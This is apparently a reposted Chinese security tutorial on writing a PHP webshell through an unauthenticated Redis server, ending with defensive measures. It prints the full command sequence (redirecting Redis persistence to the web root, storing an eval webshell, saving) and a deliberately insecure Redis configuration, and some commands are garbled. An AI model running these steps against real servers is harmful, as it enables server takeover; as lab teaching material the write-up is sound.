SSRF 漏洞利用 Redis 實戰全解析:原理、攻擊與防范

目錄

前言

SSRF 漏洞深度剖析

Redis:強大的內存數據庫

Redis 產生漏洞的原因

SSRF 漏洞利用 Redis 實戰步驟

準備環境

下載安裝 Redis

配置漏洞環境

啟動 Redis

攻擊機遠程連接 Redis

利用 Redis 寫 Webshell

防范措施

前言

在網絡安全領域,SSRF漏洞與Redis結合的攻擊極具威脅。本文先介紹SSRF和Redis概念、Redis作用及產生漏洞原因,接著詳細呈現利用SSRF漏洞操控Redis寫入Webshell的實戰步驟,最后給出針對性防范措施,助你提升網絡安全防護能力。

SSRF 漏洞深度剖析

SSRF(Server - Side Request Forgery,服務器端請求偽造),是一種源于服務器端的安全漏洞。正常情況下,服務器端會根據用戶的請求去訪問其他服務器資源。但在存在 SSRF 漏洞時,攻擊者可以通過精心構造惡意請求,讓服務器以自身的身份去訪問那些本不該訪問的資源,比如內網的敏感服務、未授權的外部鏈接等。這就好比攻擊者披上了服務器的 “外衣”,借助服務器的權限來實現自己的惡意目的,而服務器往往對這種偽裝毫無察覺。

Redis:強大的內存數據庫

Redis(Remote Dictionary Server)是一款基于內存的開源鍵值對存儲數據庫,以其高性能、低延遲而聞名。它支持多種數據結構,如字符串、哈希表、列表、集合等,這使得它在各種應用場景中都能大顯身手。Redis 主要有以下作用:

  1. 緩存數據:在 Web 應用中,將頻繁訪問的數據存儲在 Redis 中,大大減少數據庫的負載,提高系統響應速度。例如電商網站的商品信息、用戶登錄狀態等,都可以緩存到 Redis 中。
  2. 消息隊列:利用 Redis 的列表數據結構,可以實現簡單高效的消息隊列。生產者將消息發送到隊列中,消費者從隊列中獲取消息進行處理,常用于異步任務處理、日志收集等場景。
  3. 分布式鎖:在分布式系統中,通過 Redis 的原子操作來實現分布式鎖,確保同一時間只有一個節點能夠執行特定的任務,避免數據沖突和不一致。

Redis 產生漏洞的原因

  1. 配置不當:如本文實戰中,將 Redis 綁定到 0.0.0.0,這意味著 Redis 可以接受來自任何 IP 地址的連接請求。同時關閉保護模式,使得 Redis 失去了基本的安全防護,攻擊者可以輕易連接到 Redis 服務。
  2. 未授權訪問:如果 Redis 沒有設置密碼或者密碼過于簡單,攻擊者就能夠直接訪問 Redis,執行各種命令,包括修改配置、寫入惡意數據等。
  3. 與其他漏洞結合:當 Redis 與存在 SSRF 漏洞的服務器結合時,攻擊者可以利用 SSRF 漏洞,通過服務器間接控制 Redis,繞過網絡限制,實現更復雜的攻擊。

SSRF 漏洞利用 Redis 實戰步驟

使用命令

wget http://download.redis.io/releases/redis-6.0.16.tar.gz   #下載安裝 Redis
tar xf redis-6.0.16.tar.gz          #解壓下載的安裝包
cd redis-6.0.16/                    #進入解壓后的 Redis 目錄
make && make install                #編譯安裝
vim redis.conf                      #編輯redis文件
./src/redis - server redis.conf &   #啟動redis服務
redis - cli - h 10.0.0.107 - p 6379    #攻擊機連接redis
service apache2 start               #開啟apache
???????netstat - tnulp                     #查看端口信息
config set dir /var/www/html/       #將 Redis 的持久化目錄設置為 Web 服務器的根目錄
config set dbfilename webshell.php  #動態修改 Redis 服務器持久化文件的文件名
set webshell "\n\n\n<?php @eval($_POST['123'])?> \n\n\n"  #向 Redis 中存儲包含惡意代碼的內容
save           #觸發 Redis 的持久化操作

準備環境

  1. 企業系統 kali 系統 200:作為 Redis 服務的部署環境,后續將成為攻擊目標。在此系統上下載安裝 Redis,為漏洞利用提供基礎。
  2. 攻擊機 ?kali :用于發起攻擊操作,模擬攻擊者的視角,執行一系列惡意操作。

下載安裝 Redis

  1. 下載 Redis - 6.0.16:使用wget命令從官方源下載安裝包
  2. 解壓:通過tar命令解壓下載的壓縮包,為后續安裝做準備:
  3. 進入 Redis 目錄:進入解壓后的 Redis 目錄,準備進行編譯安裝:
  4. 編譯安裝:執行make和make install命令,完成 Redis 的編譯和安裝:

配置漏洞環境

編輯 Redis 配置文件redis.conf,進行危險配置:

修改以下關鍵配置:

bind 0.0.0.0 #允許任意IP連接,使Redis暴露在公網風險中protected mode no #關閉保護模式,執行命令不受限制


這樣的配置使得 Redis 服務處于高度危險狀態,為攻擊者提供了可乘之機。

啟動 Redis

啟動 Redis 服務,使其監聽默認端口 6379???????

攻擊機遠程連接 Redis

在攻擊機上,使用redis - cli命令連接到目標 Redis 服務

由于之前的危險配置,攻擊機無需任何驗證即可成功連接到 Redis 服務,這是攻擊的第一步。

利用 Redis 寫 Webshell

  1. 準備被攻擊環境(被攻擊者 120):在被攻擊機上啟動 Apache 網站服務,為 Webshell 的寫入提供環境

通過netstat命令檢查服務啟動情況,確保 Apache 和 Redis 服務正常運行

  1. 寫入 Webshell:在攻擊機連接的 Redis 客戶端中,執行一系列命令來寫入 Webshell

這些命令依次將 Redis 的持久化目錄設置為 Apache 網站根目錄,將持久化文件名設置為webshell.php,設置包含惡意 PHP 代碼的鍵值對,并執行持久化操作,從而在 Apache 網站根目錄下生成一個可執行任意 PHP 代碼的 Webshell 文件。

  1. 查看目標代碼目錄:在被攻擊機上查看/var/www/html/目錄,確認webshell.php文件已成功生成
  2. 使用 AntSword 連接:利用 AntSword 等 Webshell 管理工具,配置連接地址為被攻擊機的 IP 地址加上webshell.php路徑,密碼為webshell中已寫入的密碼,即可成功連接到目標服務器,實現對服務器的遠程控制,執行系統命令、上傳下載文件等操作。

防范措施

  1. 合理配置 Redis:避免將 Redis 綁定到 0.0.0.0,只綁定到內部可信的 IP 地址。啟用保護模式protected mode yes,并設置高強度密碼,通過requirepass配置項實現。
  2. 輸入驗證與過濾:對服務器端接收的所有用于發起請求的輸入參數進行嚴格驗證和過濾,確保其符合預期格式和范圍,防止惡意構造。
  3. 限制請求范圍:配置白名單,限制服務器只能訪問特定的域名和 IP 地址,對于內部服務,如 Redis,確保只有授權服務器可以訪問。
  4. 定期更新軟件:保持 Redis 和服務器操作系統、相關軟件的更新,及時修復已知安全漏洞。

網絡安全是一場持續的戰斗,了解 SSRF 漏洞利用 Redis 的攻擊方式和防范措施,是保障網絡安全的重要一步。希望本文能幫助讀者提升安全意識,在實際應用中有效防范此類安全威脅。

???????

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/894477.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/894477.shtml
英文地址,請注明出處:http://en.pswp.cn/news/894477.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【周易哲學】生辰八字入門講解(八)

&#x1f60a;你好&#xff0c;我是小航&#xff0c;一個正在變禿、變強的文藝傾年。 &#x1f514;本文講解【周易哲學】生辰八字入門講解&#xff0c;期待與你一同探索、學習、進步&#xff0c;一起卷起來叭&#xff01; 目錄 一、六親女命六親星六親宮位相互關系 男命六親星…

CAN總線數據采集與分析

CAN總線數據采集與分析 目錄 CAN總線數據采集與分析1. 引言2. 數據采集2.1 數據采集簡介2.2 數據采集實現3. 數據分析3.1 數據分析簡介3.2 數據分析實現4. 數據可視化4.1 數據可視化簡介4.2 數據可視化實現5. 案例說明5.1 案例1:數據采集實現5.2 案例2:數據分析實現5.3 案例3…

【c++】類與對象詳解

目錄 面向過程思想和面向對象思想類的定義引入類的關鍵字類定義的兩種方式類的訪問限定符類的作用域類大小的計算封裝 this指針類的6個默認成員函數構造函數初步理解構造函數深入理解構造函數初始化列表單參數構造函數引發的隱式類型轉換 析構函數拷貝構造函數賦值運算符重載運…

大模型訓練(5):Zero Redundancy Optimizer(ZeRO零冗余優化器)

0 英文縮寫 Large Language Model&#xff08;LLM&#xff09;大型語言模型Data Parallelism&#xff08;DP&#xff09;數據并行Distributed Data Parallelism&#xff08;DDP&#xff09;分布式數據并行Zero Redundancy Optimizer&#xff08;ZeRO&#xff09;零冗余優化器 …

陸游的《詩人苦學說》:從藻繪到“功夫在詩外”(中英雙語)mastery lies beyond poetry

陸游的《詩人苦學說》&#xff1a;從藻繪到“功夫在詩外” 今天看萬維鋼的《萬萬沒想到》一書&#xff0c;看到陸游的功夫在詩外的句子&#xff0c;特意去查找這首詩的原文。故而有此文。 我國學人還往往過分強調“功夫在詩外”這句陸游的名言&#xff0c;認為提升綜合素質是一…

DeepSeek-R1 低成本訓練的根本原因是?

在人工智能領域&#xff0c;大語言模型&#xff08;LLM&#xff09;正以前所未有的速度發展&#xff0c;驅動著自然語言處理、內容生成、智能客服等眾多應用的革新。然而&#xff0c;高性能的背后往往是高昂的訓練成本&#xff0c;動輒數百萬美元的投入讓許多企業和研究機構望而…

JavaScript面向對象編程:Prototype與Class的對比詳解

JavaScript面向對象編程&#xff1a;Prototype與Class的對比詳解 JavaScript面向對象編程&#xff1a;Prototype與Class的對比詳解引言什么是JavaScript的面向對象編程&#xff1f;什么是Prototype&#xff1f;Prototype的定義Prototype的工作原理示例代碼優點缺點 什么是JavaS…

玉米苗和雜草識別分割數據集labelme格式1997張3類別

數據集格式&#xff1a;labelme格式(不包含mask文件&#xff0c;僅僅包含jpg圖片和對應的json文件) 圖片數量(jpg文件個數)&#xff1a;1997 標注數量(json文件個數)&#xff1a;1997 標注類別數&#xff1a;3 標注類別名稱:["corn","weed","Bean…

詳解CSS `clear` 屬性及其各個選項

詳解CSS clear 屬性及其各個選項 1. clear: left;示例代碼 2. clear: right;示例代碼 3. clear: both;示例代碼 4. clear: none;示例代碼 總結 在CSS布局中&#xff0c;clear 屬性是一個非常重要的工具&#xff0c;特別是在處理浮動元素時。本文將詳細解釋 clear 屬性及其各個選…

猴子吃桃問題

# 猴子吃桃問題&#xff1a;猴子第一天摘下若干個桃子&#xff0c;當即吃了一半&#xff0c;還不癮&#xff0c;有多吃了一個&#xff0c;第二天早上有將剩下的桃子吃掉一半&#xff0c;又多吃了一個。以后每天早上都吃了前一天剩的一半零一個。到第十天早上想再吃時&#xff0…

Streamlit入門

1、Streamlit是什么 Streamlit 是一個用于快速構建數據應用的開源 Python 庫&#xff0c;由 Streamlit 公司開發并維護。它極大地簡化了從數據腳本到交互式 Web 應用的轉化過程&#xff0c;讓開發者無需具備前端開發的專業知識&#xff0c;就能輕松創建出美觀、實用的交互式應…

機器學習算法在網絡安全中的實踐

機器學習算法在網絡安全中的實踐 本文將深入探討機器學習算法在網絡安全領域的應用實踐&#xff0c;包括基本概念、常見算法及其應用案例&#xff0c;從而幫助程序員更好地理解和應用這一領域的技術。"> 序言 網絡安全一直是信息技術領域的重要議題&#xff0c;隨著互聯…

Rust 所有權特性詳解

Rust 所有權特性詳解 Rust 的所有權系統是其內存安全的核心機制之一。通過所有權規則&#xff0c;Rust 在編譯時避免了常見的內存錯誤&#xff08;如空指針、數據競爭等&#xff09;。本文將從堆內存與棧內存、所有權規則、變量作用域、String 類型、內存分配、所有權移動、Cl…

MVS pythonSamples 運行環境配置

1.首先計算機&#xff1a;操作系統Win10_X64 22H2&#xff1b; 2.MVS V4.4.0 3.python3.8.8_64; 安裝時勾選添加path&#xff1b; 最后安裝依賴包&#xff1a;&#xff08;所有必須安裝&#xff09; 圖像處理&#xff1a; mvtec-halcon23050&#xff08;可選&#xff09; p…

java練習(5)

ps:題目來自力扣 給你兩個 非空 的鏈表&#xff0c;表示兩個非負的整數。它們每位數字都是按照 逆序 的方式存儲的&#xff0c;并且每個節點只能存儲 一位 數字。 請你將兩個數相加&#xff0c;并以相同形式返回一個表示和的鏈表。 你可以假設除了數字 0 之外&#xff0c;這…

[EAI-023] FAST,機器人動作專用的Tokenizer,提高VLA模型的能力和訓練效率

Paper Card 論文標題&#xff1a;FAST: Efficient Action Tokenization for Vision-Language-Action Models 論文作者&#xff1a;Karl Pertsch, Kyle Stachowicz, Brian Ichter, Danny Driess, Suraj Nair, Quan Vuong, Oier Mees, Chelsea Finn, Sergey Levine 論文鏈接&…

PHP Composer:高效依賴管理工具詳解

PHP Composer:高效依賴管理工具詳解 引言 在PHP開發領域,依賴管理是項目構建過程中的重要環節。Composer的出現,極大地簡化了PHP項目的依賴管理,使得開發者可以更加高效地構建和維護PHP應用程序。本文將深入探討PHP Composer的使用方法、功能特點以及它在項目開發中的應用…

CodeGPT使用本地部署DeepSeek Coder

目前NV和github都托管了DeepSeek&#xff0c;生成Key后可以很方便的用CodeGPT接入。CodeGPT有三種方式使用AI&#xff0c;分別時Agents&#xff0c;Local LLMs&#xff08;本地部署AI大模型&#xff09;&#xff0c;LLMs Cloud Model&#xff08;云端大模型&#xff0c;從你自己…

黑盒/白盒運維監控

運維監控分為黑盒和白盒 黑盒&#xff1a;不深入代碼&#xff0c;在系統角度看TPS&#xff0c;延遲等指標 白盒&#xff1a;深入代碼分析&#xff0c;通過日志捕捉&#xff0c;以及主動上報告警等來進行監控 黑盒監控&#xff1a; 1. 頁面功能&#xff1a;域名是否可訪問&…

Rust 中的注釋使用指南

Rust 中的注釋使用指南 注釋是代碼中不可或缺的一部分&#xff0c;它幫助開發者理解代碼的邏輯和意圖。Rust 提供了多種注釋方式&#xff0c;包括行注釋、塊注釋和文檔注釋。本文將詳細介紹這些注釋的使用方法&#xff0c;并通過一個示例展示如何在實際代碼中應用注釋。 1. 行…